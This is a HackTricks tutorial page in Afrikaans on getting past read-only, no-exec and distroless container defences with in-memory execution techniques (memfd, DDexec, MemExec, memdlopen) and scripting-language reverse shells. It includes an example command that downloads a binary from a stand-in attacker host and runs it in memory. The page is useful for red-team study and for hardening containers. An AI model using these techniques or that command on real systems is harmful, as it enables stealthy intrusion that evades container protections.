Bypass FS beskerming: lees-slegs / geen-uitvoering / Distroless
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Videoâs
In die volgende videoâs kan jy die tegnieke wat op hierdie bladsy genoem word, meer in diepte verduidelik vind:
- DEF CON 31 - Verkenning van Linux Geheue Manipulasie vir Stealth en Ontvlugting
- Stealth indringings met DDexec-ng & in-geheue dlopen() - HackTricks Track 2023
lees-slegs / geen-uitvoering scenario
Dit is al hoe meer algemeen om linux masjiene te vind wat gemonteer is met lees-slegs (ro) lĂȘerstelsel beskerming, veral in houers. Dit is omdat dit so maklik is om ân houer met ân ro lĂȘerstelsel te laat loop deur readOnlyRootFilesystem: true in die securitycontext in te stel:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Maar, selfs al is die lĂȘerstelsel as ro gemonteer, sal /dev/shm steeds skryfbaar wees, so dit is vals dat ons nie iets op die skyf kan skryf nie. Hierdie gids sal egter gemonteer wees met geen-uitvoering beskerming, so as jy ân binĂȘre hier aflaai, sal jy dit nie kan uitvoer nie.
Warning
Vanuit ân rooi span perspektief, maak dit moeilik om binĂȘre af te laai en uit te voer wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos
kubectl).
Eenvoudigste omseiling: Skripte
Let daarop dat ek binĂȘre genoem het, jy kan enige skrip uitvoer solank die interpreter binne die masjien is, soos ân shell skrip as sh teenwoordig is of ân python skrip as python geĂŻnstalleer is.
Maar, dit is nie net genoeg om jou binĂȘre agterdeur of ander binĂȘre gereedskap wat jy mag nodig hĂȘ om te loop, uit te voer nie.
Geheue Omseilings
As jy ân binĂȘre wil uitvoer maar die lĂȘerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur dit uit geheue uit te voer, aangesien die beskermings daar nie van toepassing is nie.
FD + exec syscall omseiling
As jy ân paar kragtige skrip enjin in die masjien het, soos Python, Perl, of Ruby, kan jy die binĂȘre aflaai om uit geheue uit te voer, dit in ân geheue lĂȘer beskrywer (create_memfd syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan ân exec syscall aanroep wat die fd as die lĂȘer om uit te voer aandui.
Vir hierdie kan jy maklik die projek fileless-elf-exec gebruik. Jy kan dit ân binĂȘre gee en dit sal ân skrip in die aangeduide taal genereer met die binĂȘre gecomprimeer en b64 geĂ«nkodeer met die instruksies om dit te dekodeer en te dekomprimeer in ân fd wat geskep is deur create_memfd syscall aan te roep en ân oproep na die exec syscall om dit te laat loop.
Warning
Dit werk nie in ander skrip tale soos PHP of Node nie omdat hulle nie enige default manier het om rou syscalls vanuit ân skrip aan te roep nie, so dit is nie moontlik om
create_memfdaan te roep om die geheue fd te skep om die binĂȘre te stoor nie.Boonop sal die skep van ân regte fd met ân lĂȘer in
/dev/shmnie werk nie, aangesien jy nie toegelaat sal word om dit te laat loop nie omdat die geen-uitvoering beskerming van toepassing sal wees.
DDexec / EverythingExec
DDexec / EverythingExec is ân tegniek wat jou toelaat om die geheue van jou eie proses te modifiseer deur sy /proc/self/mem te oorskryf.
Daarom, deur die assembly kode wat deur die proses uitgevoer word, te beheer, kan jy ân shellcode skryf en die proses âmutateâ om enige arbitrĂȘre kode uit te voer.
Tip
DDexec / EverythingExec sal jou toelaat om jou eie shellcode of enige binĂȘre uit geheue te laai en uit te voer.
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
Vir meer inligting oor hierdie tegniek, kyk na die Github of:
MemExec
Memexec is die natuurlike volgende stap van DDexec. Dit is ân DDexec shellcode demonised, so elke keer wanneer jy ân ander binĂȘre wil hardloop, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec tegniek hardloop en dan kommunikeer met hierdie demon om nuwe binĂȘre te stuur om te laai en te hardloop.
Jy kan ân voorbeeld vind van hoe om memexec te gebruik om binĂȘre vanaf ân PHP reverse shell uit te voer in https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
Met ân soortgelyke doel as DDexec, laat die memdlopen tegniek ân gemakliker manier om binĂȘre in geheue te laai om later uit te voer. Dit kan selfs toelaat om binĂȘre met afhanklikhede te laai.
Distroless Bypass
Wat is distroless
Distroless houers bevat slegs die minimale komponente wat nodig is om ân spesifieke toepassing of diens te laat werk, soos biblioteke en runtime afhanklikhede, maar sluit groter komponente soos ân pakketbestuurder, skulp of stelseldienste uit.
Die doel van distroless houers is om die aanvaloppervlak van houers te verminder deur onnodige komponente te verwyder en die aantal kwesbaarhede wat uitgebuit kan word, te minimaliseer.
Reverse Shell
In ân distroless houer mag jy nie eers sh of bash vind om ân gewone skulp te kry nie. Jy sal ook nie binĂȘre soos ls, whoami, id⊠vind nie, alles wat jy gewoonlik in ân stelsel hardloop.
Warning
Daarom, jy sal nie in staat wees om ân reverse shell of te enumerate die stelsel soos jy gewoonlik doen nie.
As die gecompromitteerde houer egter byvoorbeeld ân flask web hardloop, dan is python geĂŻnstalleer, en daarom kan jy ân Python reverse shell kry. As dit node hardloop, kan jy ân Node rev shell kry, en dieselfde met byna enige scripting taal.
Tip
Deur die scripting taal te gebruik, kan jy die stelsel enumerate met behulp van die taal se vermoëns.
As daar geen read-only/no-exec beskermings is nie, kan jy jou reverse shell misbruik om in die lĂȘerstelsel jou binĂȘre te skryf en hulle te uitvoer.
Tip
egter, in hierdie soort houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die vorige geheue-uitvoertegnieke gebruik om hulle te omseil.
Jy kan voorbeelde vind van hoe om sommige RCE kwesbaarhede te exploiteer om scripting tale reverse shells te kry en binĂȘre vanaf geheue uit te voer in https://github.com/carlospolop/DistrolessRCE.
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

